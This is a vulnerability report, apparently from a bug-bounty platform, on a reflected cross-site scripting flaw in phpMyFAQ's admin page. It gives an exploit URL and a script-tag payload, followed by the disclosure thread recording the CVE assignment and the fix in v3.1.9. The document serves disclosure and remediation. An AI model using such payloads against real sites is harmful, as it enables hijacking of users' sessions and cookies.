Reflect Cross Site Scripting in thorsten/phpmyfaq
Valid
Reported on
Nov 26th 2022
Description
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.
Proof of Concept
Go to your web phpmyfaq and visit below URL.
Exploit URL: https://roy.demo.phpmyfaq.de/admin/index.php?action=SEX%22%3E%3CScRiPt%3Ealert(133333337)%3C/ScRiPt%3E
Payload USE: "><ScRiPt>alert(9699)</ScRiPt>
#YO Maintainer :) Long Time No SEE !
Impact
Attacker can execute javascript, Anyone can steal the cookie, redirect to any URL and other lots of FUN.
We are processing your report and will contact the
thorsten/phpmyfaq
team within 24 hours.
a year ago
The researcher's credibility has increased: +7
Thorsten Rinne
has been awarded the fix bounty
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on
Dec 31st 2022
Hi @maintainer can i have CVE for this valid report :), Allow @admin to do it.
As you can see above, a CVE has been assigned and will be published on Dec 31st :))
Thanks, v3.1.9 is now released!
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
to join this conversation